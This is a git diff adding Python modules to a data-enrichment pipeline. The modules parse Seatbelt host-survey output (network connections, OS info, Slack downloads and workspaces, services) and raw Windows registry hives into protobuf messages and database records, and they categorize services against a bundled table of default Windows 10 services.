+ udp_connection_dto = SeatbeltUdpConnection.from_dict(obj.Data)
+ udp_connection_pb = udp_connection_dto.to_protobuf()
+
+ msg = pb.NetworkConnectionIngestionMessage()
+ msg.metadata.CopyFrom(metadata)
+ msg.data.append(udp_connection_pb)
+
+ await self.create_task(self.network_connection_q.Send(msg.SerializeToString()))
+
+ elif obj.Type == SeatbeltDtoTypes.OS_INFO.value:
+ osinfo_dto = SeatbeltOSInfo.from_dict(obj.Data)
+ m = Metadata(
+ metadata.agent_id,
+ metadata.project,
+ metadata.source,
+ metadata.timestamp.ToDatetime(),
+ metadata.expiration.ToDatetime(),
+ )
+ h = db.HostInfo.from_seatbelt_dto(osinfo_dto, m)
+
+ # TODO: we have to build a protobuf if we want to emit to the queue instead of the DB
+ await self.create_task(self.db.add_host_info(h))
+
+ elif obj.Type == SeatbeltDtoTypes.SLACK_DOWNLOADS.value:
+ username = obj.Data["UserName"]
+ for download in obj.Data["Downloads"]:
+ try:
+ seatbelt_slack_download = db.SlackDownload(
+ metadata.agent_id,
+ metadata.project,
+ metadata.source,
+ metadata.timestamp.ToDatetime(),
+ metadata.expiration.ToDatetime(),
+ username,
+ download["TeamID"],
+ download["UserID"],
+ download["DownloadPath"].replace("\\", "/"),
+ parse_seatbelt_date(download["StartTime"]),
+ )
+ # TODO: we have to build a protobuf if we want to emit to the queue instead of the DB
+ await self.create_task(self.db.add_slack_download(seatbelt_slack_download))
+ except Exception as e:
+ await logger.aerror("Error parsing a Seatbelt Slack download line", error=e)
+
+ elif obj.Type == SeatbeltDtoTypes.SLACK_WORKSPACES.value:
+ username = obj.Data["UserName"]
+ for workspace in obj.Data["Workspaces"]:
+ try:
+ seatbelt_slack_workspace = db.SlackWorkspace(
+ metadata.agent_id,
+ metadata.project,
+ metadata.source,
+ metadata.timestamp.ToDatetime(),
+ metadata.expiration.ToDatetime(),
+ username,
+ workspace["Name"],
+ workspace["Domain"],
+ workspace["ID"],
+ )
+ # TODO: we have to build a protobuf if we want to emit to the queue instead of the DB
+ await self.create_task(self.db.add_slack_workspace(seatbelt_slack_workspace))
+ except Exception as e:
+ await logger.aerror("Error parsing a Seatbelt Slack workspace line", error=e)
+
+ elif obj.Type == SeatbeltDtoTypes.SERVICE_INFO.value:
+ service_dto = SeatbeltService.from_dict(obj.Data)
+ service_pb = service_dto.to_protobuf()
+
+ msg = pb.ServiceIngestionMessage()
+ msg.metadata.CopyFrom(metadata)
+ msg.data.append(service_pb)
+
+ await self.service_output_q.Send(msg.SerializeToString())
+
+ # if there's non-null file information, also emit that
+ if "BinaryPath" in obj.Data and obj.Data["BinaryPath"] is not None:
+ file_info_pb = pb.FileInformationIngestion()
+ file_info_pb.path = obj.Data["BinaryPath"]
+
+ if "BinaryPathSDDL" in obj.Data and obj.Data["BinaryPathSDDL"] is not None:
+ file_info_pb.sddl = obj.Data["BinaryPathSDDL"]
+
+ version_info = ""
+
+ if "FileDescription" in obj.Data and obj.Data["FileDescription"] is not None:
+ version_info += f"FileDescription: {obj.Data['FileDescription']}\n"
+ if "CompanyName" in obj.Data and obj.Data["CompanyName"] is not None:
+ version_info += f"CompanyName: {obj.Data['CompanyName']}\n"
+ if "Version" in obj.Data and obj.Data["Version"] is not None:
+ version_info += f"FileVersion: {obj.Data['Version']}\n"
+
+ if version_info != "":
+ file_info_pb.version_info = version_info
+
+ msg = pb.FileInformationIngestionMessage()
+ msg.metadata.CopyFrom(metadata)
+ msg.data.append(file_info_pb)
+
+ await self.create_task(self.service_output_q.Send(msg.SerializeToString()))
diff --git a/cmd/enrichment/enrichment/tasks/registry_hive.py b/cmd/enrichment/enrichment/tasks/registry_hive.py
new file mode 100644
index 0000000..3abcf6e
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/registry_hive.py
@@ -0,0 +1,89 @@
+# Standard Libraries
+import asyncio
+import time
+import uuid
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.registry import get_registry_values_from_hive
+from nemesiscommon.messaging import (MessageQueueConsumerInterface,
+ MessageQueueProducerInterface)
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class RegistryHive(TaskInterface):
+ """
+ Class responsible for parsing raw registry hives and emitting
+ registry value messages after filtering.
+ """
+
+ storage: StorageInterface
+ registry_value_batch_size: int
+
+ # Queues
+ in_q_filedataenriched: MessageQueueConsumerInterface
+ out_q_registryvalue: MessageQueueProducerInterface
+
+ def __init__(
+ self,
+ storage: StorageInterface,
+ registry_value_batch_size: int,
+ in_q_filedataenriched: MessageQueueConsumerInterface,
+ out_q_registryvalue: MessageQueueProducerInterface,
+ ):
+ self.storage = storage
+
+ self.in_q_filedataenriched = in_q_filedataenriched
+ self.out_q_registryvalue = out_q_registryvalue
+
+ # number of registry values to include in a single RegistryValueIngestionMessage message
+ self.registry_value_batch_size = registry_value_batch_size
+
+ async def run(self) -> None:
+ await logger.ainfo("Starting the Registry Hive service")
+
+ await asyncio.gather(
+ self.in_q_filedataenriched.Read(self.handle_file_data_enriched), # type: ignore
+ )
+ await asyncio.Future()
+
+ async def handle_file_data_enriched(self, q_msg: pb.FileDataEnrichedMessage) -> None:
+ await self.process_file_data_enriched(q_msg)
+
+ @aio.time(Summary("process_file_data_enriched_reg_hive", "Time spent processing a file_data_enriched topic")) # type: ignore
+ async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage):
+ for data in event.data:
+ if data.magic_type.startswith("MS Windows registry file"):
+ try:
+ with await self.storage.download(uuid.UUID(data.object_id)) as temp_file:
+ # extract out any keys from a hive we can and submit them to the registry_value queue
+ registry_message = pb.RegistryValueIngestionMessage()
+ registry_message.metadata.CopyFrom(event.metadata)
+ start = time.time()
+ value_counter = 0
+ total_values = 0
+
+ async for reg_entry in get_registry_values_from_hive(temp_file.name):
+ if value_counter == self.registry_value_batch_size:
+ # include up to self.registry_value_batch_size values in the registry message
+ await self.out_q_registryvalue.Send(registry_message.SerializePartialToString())
+ del registry_message.data[:]
+ registry_message.data.extend([reg_entry])
+ value_counter += 1
+ total_values += 1
+
+ # send what's left
+ if len(registry_message.data) > 0:
+ await self.out_q_registryvalue.Send(registry_message.SerializePartialToString())
+
+ await logger.ainfo(
+ f"Registry hive values ({total_values}) for {data.name} extracted in {time.time() - start} seconds, emitting RegistryValueIngestionMessage"
+ )
+ except Exception as e:
+ await logger.aexception(e, message="Exception in process_file_data_enriched")
diff --git a/cmd/enrichment/enrichment/tasks/service_categorizer/categorizer.py b/cmd/enrichment/enrichment/tasks/service_categorizer/categorizer.py
new file mode 100644
index 0000000..7fb697c
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/service_categorizer/categorizer.py
@@ -0,0 +1,68 @@
+# Standard Libraries
+import os
+import re
+from abc import ABC, abstractmethod
+from dataclasses import dataclass
+from typing import Dict, Optional
+
+
+@dataclass
+class ServiceCategory:
+ category: str
+
+
+class ServiceCategorizerInterface(ABC):
+ @abstractmethod
+ async def lookup(self, name: str) -> ServiceCategory:
+ pass
+
+
+class TsvServiceCategorizer(ServiceCategorizerInterface):
+ serviceCategoryMap: Dict[str, ServiceCategory] = {}
+ data_path: str
+ _initialized: bool = False
+ _category_files: Dict[str, str] = {"WindowsDefault": "win10_default.tsv"}
+
+ def __init__(self, data_path: Optional[str] = None):
+ if data_path:
+ self.data_path = data_path
+ else:
+ self.data_path = os.path.join(os.path.dirname(__file__), "data")
+
+ def __load_categories(self) -> None:
+ for category_name, filename in self._category_files.items():
+ filepath = os.path.join(self.data_path, filename)
+ self.__load_tsv(category_name, filepath)
+
+ def __load_tsv(self, category_name: str, filepath: str) -> None:
+ tsv = open(filepath, "r", encoding="utf-8")
+ lines = tsv.readlines()
+ tsv.close()
+
+ for line in lines:
+ line = line.strip()
+ if line == "" or line.startswith("#"):
+ continue
+
+ parts = line.split("\t")
+
+ # display_name = parts[0].lower()
+ service_name = parts[1].lower().replace("?????", "[a-zA-Z0-9_]{5}")
+
+ category = ServiceCategory(category_name)
+
+ self.serviceCategoryMap[service_name] = category
+
+ async def lookup(self, name: str) -> ServiceCategory:
+ if not self._initialized:
+ self.__load_categories()
+ self._initialized = True
+
+ name = name.lower()
+
+ for key in self.serviceCategoryMap.keys():
+ # have to do re.match here because some service names are per-user Service_????? style
+ if re.match(key, name):
+ return self.serviceCategoryMap[key]
+
+ return ServiceCategory("Unknown")
diff --git a/cmd/enrichment/enrichment/tasks/service_categorizer/data/win10_default.tsv b/cmd/enrichment/enrichment/tasks/service_categorizer/data/win10_default.tsv
new file mode 100644
index 0000000..1181e23
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/service_categorizer/data/win10_default.tsv
@@ -0,0 +1,253 @@
+# ref - https://ss64.com/nt/syntax-services.html
+#Service Display Name Service (Registry Key) Description Default Status
+ActiveX Installer (AxInstSV) AxInstSV UAC validation to control the installation of Active-X controls via the internet. Manual
+Agent Activation Runtime_????? AarSvc_????? Chatbot Runtime for activating Conversational agent applications - Clippy returns. Manual
+AllJoyn Router Service AJRouter IoT integration. Manual (Trigger Start)
+App Readiness AppReadiness Runs at first logon to prepare apps for use. Manual
+Application Identity AppIDSvc Verify Application identity, used by AppLocker. Manual (Trigger Start)
+Application Information Appinfo Facilitates running applications with additional administrative privileges. If disabled those additional privileges will not be available. Manual (Trigger Start, Running)
+Application Layer Gateway Service ALG Enables plugins for the now ancient internet connection sharing. Manual
+Application Management AppMgmt Required for Group Policy software management, Not Available in Win 10 home. Manual
+AppX Deployment Service (AppXSVC) AppXSvc Windows Store integration. Cannot be disabled. Manual
+AssignedAccessManager Service AssignedAccessManagerSvc Kiosk mode, Not Available in Win 10 home. Manual
+Auto Time Zone Updater tzautoupdate Automatically set the Time Zone. Disabled
+AVCTP service BthAvctpSvc Audio Video Control TP service - Bluetooth / Wireless. Manual (Trigger Start)
+Background Intelligent Transfer Service BITS Transfer files. Manual or Automatic (Delayed Start, Running)
+Background Tasks Infrastructure Service BrokerInfrastructure Cannot be disabled. Automatic (Running)
+Base Filtering Engine BFE Manage Windows Firewall and IPsec policies and implements user mode filtering. Do not disable. Automatic (Running)
+BitLocker Drive Encryption Service BDESVC Secure startup and volume encryption. Manual (Trigger Start)
+Block Level Backup Engine Service wbengine Used by Windows Backup. Manual
+Bluetooth Audio Gateway Service BTAGService Bluetooth Audio - Wireless headsets. Manual (Trigger Start)
+Bluetooth Support Service bthserv Discovery of Bluetooth devices. Manual (Trigger Start)
+Bluetooth User Support Service_????? BluetoothUserService_????? Bluetooth features. Manual (Trigger Start)
+BranchCache PeerDistSvc Used by Windows Update for download sharing on the local subnet. Manual
+Capability Access Manager Service camsvc Manage UWP apps. Manual
+CaptureService_????? CaptureService_????? Screen Capture Service via the Windows.Grapics.Capture API. Manual
+Cellular Time autotimesvc Set the time based on NITZ messages from a mobile network. Manual
+Certificate Propagation CertPropSvc Manage certificates for Smart Card login. Manual (Trigger Start)
+Client License Service (ClipSVC) ClipSVC Support for Microsoft store, cannot be disabled. Manual (Trigger Start)
+Clipboard User Service_????? cbdhsvc_????? Clipboard. Manual
+CNG Key Isolation KeyIso Secure long lived keys for cryptographic operations. Manual (Trigger Start, Running)
+COM+ Event System EventSystem COM Event notification service, required for COM+ Manual
+COM+ System Application COMSysApp Network discovery of systems on local network. Manual (Trigger Start)
+Connected Devices Platform Service CDPSvc Connected Devices Platform. Automatic (Delayed Start, Trigger Start)
+Connected Devices Platform User Service_????? CDPUserSvc_????? Connected Devices Platform. Automatic (Running)
+Connected User Experiences and Telemetry DiagTrack Feedback and Diagnostics. Automatic (Running)
+ConsentUX_????? ConsentUxUserSvc_????? Connect and pair WiFi and Bluetooth devices, ConnectUX. Manual
+Contact Data_????? PimIndexMaintenanceSvc_????? Indexes contact data for fast contact searching. Manual
+CoreMessaging CoreMessagingRegistrar Cannot be disabled. Manages communication between system components. Automatic (Running)
+Credential Manager VaultSvc Secure storage and retrieval of credentials. Control Panel: Credential Manager. Manual
+CredentialEnrollmentManagerUserSvc_????? CredentialEnrollmentManagerUserSvc_????? Credential Enrolment Manager. Manual
+Cryptographic Services CryptSvc Manage root certificates. Automatic (Running)
+Data Sharing Service DsSvc Data brokering between applications. Manual (Trigger Start)
+Data Usage DusmSvc Network data usage,data limit/metered networks. Automatic (Running)
+DCOM Server Process Launcher DcomLaunch Required for COM and DCOM object activation requests. Automatic (Running)
+Delivery Optimization DoSvc Content delivery Optimisation. Automatic (Delayed Start)
+Device Association Service DeviceAssociationService Pairing between the system and wired or wireless devices. Manual (Trigger Start)
+Device Install Service DeviceInstall Recognise new hardware, do not disable. Manual (Trigger Start)
+Device Management Enrollment Service DmEnrollmentSvc Device enrolment/management. Manual
+Device Management Wireless Application Protocol (WAP) Push message Routing Service dmwappushservice WAP - Sync device sessions. Manual
+Device Setup Manager DsmSvc Install device drivers. Manual (Trigger Start)
+DeviceAssociationBroker_????? DeviceAssociationBrokerSvc_????? Pair devices. Manual
+DevicePicker_????? DevicePickerUserSvc_????? Manage Miracast DLNA and DIAL UI. Manual
+DevicesFlow_????? DevicesFlowUserSvc_????? Connect and pair WiFi and Bluetooth devices, ConnectUX/PC settings. Manual
+DevQuery Background Discovery Broker DevQueryBroker Enable apps to discover devices with a background task. Manual (Trigger Start)
+DHCP Client Dhcp Allocate an IP address to this computer automatically. Automatic (Running)
+Diagnostic Execution Service diagsvc Enable troubleshooting support. Manual (Trigger Start)
+Diagnostic Policy Service DPS Enable problem detection, troubleshooting and resolution for Windows components. Automatic (Running)
+Diagnostic Service Host WdiServiceHost Diagnostics for Local Services. Manual (Running)
+Diagnostic System Host WdiSystemHost Diagnostics for the Local System. Manual
+DialogBlockingService DialogBlockingService DialogBlockingService Disabled
+Display Enhancement Service DisplayEnhancementService Brightness. Manual (Trigger Start)
+Display Policy Service DispBrokerDesktopSvc Connection and configuration of local and remote displays. Automatic (Delayed Start)
+Distributed Link Tracking Client TrkWks Attempt to maintain valid links between NTFS files across a network. Automatic (Running)
+Distributed Transaction Coordinator MSDTC Co-ordinate transactions between resource managers, database, file and message queues. Manual
+DNS Client Dnscache Cache DNS queries and register the computername. Automatic (Trigger Start, Running)
+Downloaded Maps Manager MapsBroker Windows/Bing maps. Automatic (Delayed Start)
+Embedded Mode embeddedmode Activate background applications. Manual (Trigger Start)
+Encrypting File System (EFS) EFS Allow storage of encrypted files on NTFS file systems. Manual (Trigger Start)
+Enterprise App Management Service EntAppSvc Cannot be disabled. Enterprise Application management. Manual
+Extensible Authentication Protocol Eaphost Network Authentication - VPN NAP and Wireless. Manual
+File History Service fhsvc Used by Windows Backup. Manual (Trigger Start)
+Function Discovery Provider Host fdPHost Network discovery and Web Service discovery. Manual
+Function Discovery Resource Publication FDResPub Publish this computer and resources over the network. Manual (Running)
+GameDVR and Broadcast User Service_????? BcastDVRUserService_????? Game recordings and Live broadcasts. Cannot be disabled. Manual (Trigger Start)
+Geolocation Service lfsvc Manage Geofences - a geographic location with associated events. Manual (Trigger Start, Running)
+GraphicsPerfSvc GraphicsPerfSvc Monitor graphics performance. Manual (Trigger Start)
+Group Policy Client gpsvc Cannot be disabled. Apply admin settings through group policy. Automatic (Trigger Start)
+Human Interface Device Service hidserv Activate and maintain hot buttons on keyboards and other controls. Manual (Trigger Start)
+HV Host Service HvHost Hyper-V interface for performance counters. Manual (Trigger Start)
+Hyper-V Data Exchange Service vmickvpexchange Hyper-V interface for data exchange. Manual (Trigger Start)
+Hyper-V Guest Service Interface vmicguestinterface Hyper-V interface for VM services. Manual (Trigger Start)
+Hyper-V Guest Shutdown Service vmicshutdown Hyper-V interface for VM shutdown. Manual (Trigger Start)
+Hyper-V Heartbeat Service vmicheartbeat Hyper-V identify frozen VMs. Manual (Trigger Start)
+Hyper-V PowerShell Direct Service vmicvmsession Hyper-V interface for PowerShell. Manual (Trigger Start)
+Hyper-V Remote Desktop Virtualization Service vmicrdv Hyper-V desktop interface. Not Available in Win 10 home. Manual (Trigger Start)
+Hyper-V Time Synchronization Service vmictimesync Hyper-V time sync. Manual (Trigger Start)
+Hyper-V Volume Shadow Copy Requestor vmicvss Hyper-V shadow copy/backup. Manual (Trigger Start)
+IKE and AuthIP IPsec Keying Modules IKEEXT Internet Key exchange. Manual (Trigger Start)
+Internet Connection Sharing (ICS) SharedAccess Provides NAT/name resolution for small office networks. Very rarely needed. Manual (Trigger Start)
+IP Helper iphlpsvc IPv6 translation. Automatic (Running)
+IP Translation Configuration Service IpxlatCfgSvc IPv6 translation. Manual (Trigger Start)
+IPsec Policy Agent PolicyAgent Network level peer authentication. Enforces IPsec policies. Manual (Trigger Start)
+KtmRm for Distributed Transaction Coordinator KtmRm Co-ordinates distributed transactions. MSDTC/KTM. Manual (Trigger Start)
+Language Experience Service LxpSvc Deployment infrastructure for configuring additional languages. Manual
+Link-Layer Topology Discovery Mapper lltdsvc Creates a Network map describing each PC and device. Manual
+Local Profile Assistant Service wlpasvc Profile management for local subscriber identity modules. Manual (Trigger Start)
+Local Session Manager LSM Cannot be disabled. Manage local user sessions. Automatic (Running)
+MessagingService_????? MessagingService_????? Text Messaging. Manual (Trigger Start)
+Microsoft (R) Diagnostics Hub Standard Collector Service diagnosticshub.standardcollector.service Collect real-time Event Tracing for Windows (ETW) events. Manual
+Microsoft Account Sign-in Assistant wlidsvc Running if using MS account to log in to computer. Manual (Trigger Start)
+Microsoft App-V Client AppVClient Manage App-V users and virtual applications. Not Available in Win 10 home. Disabled
+Microsoft iSCSI Initiator Service MSiSCSI Manage iSCSI devices. Manual
+Microsoft Keyboard Filter MsKeyboardFilter Control keystroke filtering and mapping. Not Installed (Disabled)
+Microsoft Passport NgcSvc Process isolation for cryptographic keys. Cannot be disabled. Manual (Trigger Start)
+Microsoft Passport Container NgcCtnrSvc Manage Local user identity keys and smartcard access. Cannot be disabled. Manual (Trigger Start)
+Microsoft Software Shadow Copy Provider swprv Volume Shadow Copy. Used by Windows Backup. Manual (Runs at boot, then stops)
+Microsoft Storage Spaces SMP smphost Manage storage pools with multiple disks (WSS). Manual
+Microsoft Store Install Service InstallService Microsoft Store. Manual
+Microsoft Windows SMS Router Service. SmsRouter Route messages. Manual (Trigger Start)
+Natural Authentication NaturalAuthentication Signal aggregator service for automatic device lock/unlock. Manual (Trigger Start)
+Net.Msmq/Net.Pipe/Net.Tcp Listener Adapter NetMsmqActivator/NetPipeActivator/NetTcpActivator Not installed
+Net.Tcp Port Sharing Service Provides ability to share TCP ports over net.tcp Disabled
+Netlogon Netlogon Connect to a domain controller. Manual
+Network Connected Devices Auto-Setup NcdAutoSetup Discover and install qualified devices. Manual (Trigger Start, Running)
+Network Connection Broker NcbService Broker connections between Windows store apps and the internet. Manual (Trigger Start, Running)
+Network Connections Netman Manage network and Dial-up connections. Manual
+Network Connectivity Assistant NcaSvc DirectAccess status notification. Manual (Trigger Start)
+Network List Service netprofm Identify networks. Manual (Running)
+Network Location Awareness NlaSvc Notify changes in the network configuration. Automatic (Running)
+Network Setup Service NetSetupSvc Manage installation and configuration of network drivers. Manual (Trigger Start)
+Network Store Interface Service nsi Network notifications for user mode clients. Automatic (Running)
+Offline Files CscService Perform offline maintenance on the offline files cache. Not Available in Win 10 home. Manual (Trigger Start)
+OpenSSH Authentication Agent ssh-agent Agent to hold private keys used for public key authentication. Manual
+Optimize drives defragsvc Optimise file storage by defragmenting on disc. Manual
+Parental Controls WpcMonSvc Enforces parental controls in Windows. Manual
+Payments and NFC/SE Manager SEMgrSvc Manage payments and Near Field Communication (NFC) based secure elements. Manual (Trigger Start)
+Peer Name Resolution Protocol PNRPsvc Enable serverless peer name resolution over the internet (Remote Assistance). Manual
+Peer Networking Grouping p2psvc Enables multi-party communication using peer-peer grouping. (Home Group). Manual
+Peer Networking Identity Manager p2pimsvc Identity services for peer Name resolution and peer-peer grouping services. Manual
+Performance Counter DLL Host PerfHost Enable remote users and 64 bit processes to query perf counters provided by 32-bit DLLs. Manual
+Performance Logs & Alerts pla Collect performance data from local or remote computers. Manual
+Phone Service PhoneSvc Manage the telephony state. Manual (Trigger Start)
+Plug and Play PlugPlay Recognise new hardware. Do not disable. Manual (Running)
+PNRP Machine Name Publication Service PNRPAutoReg Publish a machine name using Peer name resolution protocol. Manual
+Portable Device Enumerator Service WPDBusEnum Enforce group policy for removable mass storage devices. Enables transferring and synchronising content. Manual (Trigger Start)
+Power Power Manage power policy and power policy notifications. Automatic (Running)
+Print Spooler Spooler Spool print jobs. Do not disable. Automatic (Running)
+Printer Extensions and Notifications PrintNotify Open custom printer dialogue boxes and handle notifications from a remote print server or printer. Manual
+PrintWorkflow_????? PrintWorkflowUserSvc_????? Print Workflow. Cannot be disabled. Manual
+Problem Reports and Solutions Control Panel Support wercplsupport System level problem reports. Manual
+Program Compatibility Assistant Service PcaSvc Program Compatibility Assistant (PCA) Automatic (Running)
+Quality Windows Audio Video Experience QWAVE Platform for A/V streaming applications on IP home networks. Manual
+Radio Management Service RmSvc Radio Management and Airplane Mode - wireless comms / Bluetooth. Manual
+Recommended Troubleshooting Service TroubleshootingSvc Automatic mitigation for known problems and recommended troubleshooting options. Manual
+Remote Access Auto Connection Manager RasAuto Automatically connect to a remote network whenever a DNS name is used. Manual
+Remote Access Connection Manager RasMan Manage Dial-Up and VPM connections. Manual
+Remote Desktop Configuration SessionEnv Remote Desktop related activities, temporary folders,themes and certificates. Manual
+Remote Desktop Services TermService Allow users to connect interactively with a remote computer. To prevent remote use of this computer clear the checkboxes on the Remote tab of the system properties control panel item. Manual
+Remote Desktop Services UserMode Port Redirector UmRdpService Allow redirection of Printers/Drivers/Ports for RDP connections. Manual
+Remote Procedure Call (RPC) RpcSs Object activation for COM and DCOM. Cannot be disabled. Automatic (Running)
+Remote Procedure Call (RPC) Locator RpcLocator No functionality in Windows 10, this is provided for Application Compatibility. Manual
+Remote Registry RemoteRegistry Enable remote users to modify the registry on this computer. Disabled
+Retail Demo Service RetailDemo Allows running the Retail Demo mode which will erase all files and restore Windows to a factory default. You may prefer to disable this. Manual
+Routing and Remote Access RemoteAccess LAN and WAN routing to other businesses. Disabled
+RPC Endpoint Mapper RpcEptMapper Resolve RPC interface identifiers to a transport endpoint. Cannot be disabled. Automatic (Running)
+Runtime Broker RuntimeBroker Microsoft core process, manages permissions for all universal (Windows Store) apps. Automatic (Running)
+Secondary Logon seclogon Enable starting processes under alternate credentials. Manual
+Secure Socket Tunneling Protocol Service SstpSvc SSTP VPN Capability. Manual
+Security Accounts Manager SamSs Allows SAM to accept request from other services. Automatic (Running)
+Security Center wscsvc Monitor and report security health settings: Firewall, Anti-Virus,Anti-Spyware. Automatic (Delayed Start, Running)
+Sensor Data Service SensorDataService Delivers data from a variety of sensors. Manual (Trigger Start)
+Sensor Monitoring Service SensrSvc Monitor sensors to expose data and user state e.g. Adjust brightness. Manual (Trigger Start)
+Sensor Service SensorService Manage Simple Device Orientation (SDO) and History for sensors. Reports device orientation changes. Manual (Trigger Start)
+Server LanmanServer File, Print and named pipe sharing over the network. Automatic (Running)
+Shared PC Account Manager shpamsvc Manage profiles and accounts on a SharedPC configured device. Disabled
+Shell Hardware Detection ShellHWDetection Autoplay notification. Automatic (Running)
+Smart Card SCardSvr Support for Smart Card login/logout. Disabled
+Smart Card Device Enumeration Service ScDeviceEnum Support for Smart Card login/logout. Manual (Trigger Start)
+Smart Card Removal Policy SCPolicySvc Support for Smart Card login/logout. Manual
+SNMP Trap SNMPTRAP Handle Simple Network Management Protocol (SNMP) agent messages. Manual
+Software Protection sppsvc Download and install Digital Licences. Cannot be disabled. Automatic (Delayed Start,Trigger Start)
+Spatial Data Service SharedRealitySvc Virtual Reality data manager. Manual
+Spot Verifier svsvc Verify potential file system corruptions. Manual (Trigger Start)
+SSDP Discovery SSDPSRV Discover UPnP /SSDP devices. Enables SSDP device discovery. Can be disabled. Manual (Running)
+State Repository Service StateRepository Reports Application State. Cannot be disabled. Manual (Running)
+Still Image Acquisition Events WiaRpc Launch applications associated with still image acquisition. Manual
+Storage Service StorSvc Adds 'System Volume Information' folder to external USB memory devices. Required for Windows Store. Manual (Trigger Start)
+Storage Tiers Management TieringEngineService Optimise the placement of data in storage tiers on all tiered storage spaces. Manual
+Sync Host_????? OneSyncSvc_????? Sync mail, contacts calendar and other user data. Automatic (Delayed Start)
+SysMain SysMain Tune system performance over time. Automatic (Running)
+System Event Notification Service SENS Monitor system events and notify COM+ subscribers. Automatic (Running)
+System Events Broker SystemEventsBroker Co-ordinates background work for WinRT. Cannot be disabled. Automatic (Trigger Start, Running)
+System Guard Runtime Monitor Broker SgrmBroker Attests to Windows platform integrity. Automatic (Delayed Start, Running)
+Task Scheduler Schedule Schedule Automated Tasks. Cannot be Stopped or disabled. Automatic (Running)
+TCP/IP NetBIOS Helper lmhosts Provides NetBIOS over TCP/IP (NetBT) Enables sharing Files, Printers and logon to the network. Manual (Trigger Start, Running)
+Telephony TapiSrv Support for programs that control telephony devices. Manual
+Themes Themes User Theme Management. Automatic (Running)
+Time Broker TimeBrokerSvc Background work for WinRT application. Manual (Trigger Start, Running)
+Touch Keyboard and Handwriting Panel Service TabletInputService Enables touch keyboard and handwriting panel pan and ink functionality. Manual (Trigger Start)
+Update Orchestrator Service UsoSvc Manages Windows Updates. Manual (Running)
+UPnP Device Host upnphost Allows UPnP devices to be hosted on this computer. Manual
+User Data Access_????? UserDataSvc_????? Provides apps access to structured user data, including contact info, calendars, messages. Cannot be disabled. Manual (Running)
+User Data Storage_????? UnistoreSvc_????? Handles storage of structured user data, including contact info, calendars, messages.Cannot be disabled. Manual (Running)
+User Experience Virtualization Service UevAgentService Support for the roaming of OS and application settings. Not Available in Win 10 home. Disabled
+User Manager UserManager Support for Multi-User interaction. Automatic (Trigger Start, Running)
+User Profile Service ProfSvc Loading and unloading of user profiles. Automatic (Running)
+Virtual Disk vds Magagement of disks and volumes. Manual
+Volume Shadow Copy VSS Manages and implements Volume Shadow copies used for backup and other purposes. Manual
+Volumetric Audio Compositor Service VacSvc Hosts spacial analysis for mixed reality audio simulation. Not Installed
+WalletService WalletService Objects used by clients of the wallet. Manual
+WarpJITSvc WarpJITSvc JIT out of process service for Windows Advanced Rasterization Platform (WARP) when running with Arbitrary Code Guard (ACG) enabled. Manual (Trigger Start)
+Web Account Manager TokenBroker Provide single sign on to apps and services. Manual (Running)
+WebClient WebClient Enable Windows based programs to create access and modify internet based files. Manual (Trigger Start)
+Wi-Fi Direct Services Connection Manager Service WFDSConMgrSvc Connect to wireless display and/or dock. Manual (Trigger Start)
+Windows Audio Audiosrv Manage Audio. Automatic (Running)
+Windows Audio Endpoint Builder AudioEndpointBuilder Manage Audio devices. Automatic (Running)
+Windows Backup SDRSVC Windows Backup. Manual
+Windows Biometric Service WbioSrvc Capture and edit biometric data without gaining direct access to any biometric hardware or samples. Manual (Trigger Start)
+Windows Camera Frame Server FrameServer Access video frames from camera devices. Manual (Trigger Start)
+Windows Connect Now - Config Registrar wcncsvc Wireless Protected Setup (WPS) protocol. Manual
+Windows Connection Manager Wcmsvc Makes automatic connect/disconnect decisions based on the network connectivity options currently available to the PC. Automatic (Trigger Start, Running)
+Windows Defender Advanced Threat Protection Service Sense Security event monitor. Not Available in Win 10 home Manual
+Windows Defender Antivirus Network Inspection Service WdNisSvc Anti-Virus Cannot be disabled. Manual (Running)
+Windows Defender Antivirus Service WinDefend Malware detection. Cannot be disabled. Automatic (Running)
+Windows Defender Firewall mpssvc Firewall. Cannot be disabled. Automatic (Running)
+Windows Encryption Provider Host Service WEPHOSTSVC Exchange Active Sync (EAS) policies for Email encryption with 3rd parties. Manual (Trigger Start)
+Windows Error Reporting Service WerSvc Allows errors to be reported. Manual (Trigger Start)
+Windows Event Collector Wecsvc Remote event log management. Manual
+Windows Event Log EventLog Manage and query event logs. Automatic (Running)
+Windows Font Cache Service FontCache Cache font data. Automatic (Running)
+Windows Image Acquisition (WIA) stisvc Image acquisition for scanners and cameras. Manual
+Windows Insider Service wisvc Used only for Windows insider - beta testing of new versions of Windows. Manual (Trigger Start)
+Windows Installer msiserver Install applications from an .MSI or .MSP package. Cannot be disabled. Manual
+Windows License Manager Service LicenseManager Windows Store. Manual (Trigger Start)
+Windows Management Instrumentation Winmgmt Windows Management Instrumentation (WMI). Automatic (Running)
+Windows Management Service WManSvc Provisioning and enrolment services. Manual
+Windows Media Player Network Sharing Service WMPNetworkSvc Share Windows Media Player libraries with other devices using PnP. Disabled
+Windows Mixed Reality OpenXR Service MixedRealityOpenXRSvc Enable Mixed reality OpenXR runtime. Manual
+Windows Mobile Hotspot Service icssvc Share a Mobile Data Connection with another device. Manual (Trigger Start)
+Windows Modules Installer TrustedInstaller Windows Update, installer service. Manual
+Windows Perception Service spectrum Virtual Reality Service. Manual (Trigger Start)
+Windows Perception Simulation Service perceptionsimulation Enables spatial perception simulation - camera and spatial input simulation. Manual
+Windows Presentation Foundation Font Cache 3.0.0.0 FontCache3.0.0.0 Optimise the performance of WPF applications by caching commonly used files. Not Installed (Manual)
+Windows Push Notifications System Service WpnService Push Notifications. Automatic (Running)
+Windows Push Notifications User Service_????? WpnUserService_????? Local and push notifications: tile, toast and raw. Automatic (Running)
+Windows PushToInstall Service PushToInstall Windows Store. Manual
+Windows Remote Management (WS-Management) WinRM Remote Management. Manual
+Windows Search WSearch Search content indexing. Automatic (Delayed Start, Running)
+Windows Security Service SecurityHealthService Device protection. Manual
+Windows Time W32Time Date and Time Synchronisation. Manual (Trigger Start)
+Windows Update wuauserv Windows Update. Manual (Trigger Start)
+Windows Update Medic Service WaaSMedicSvc Remediation and protection of Windows Update components. Manual
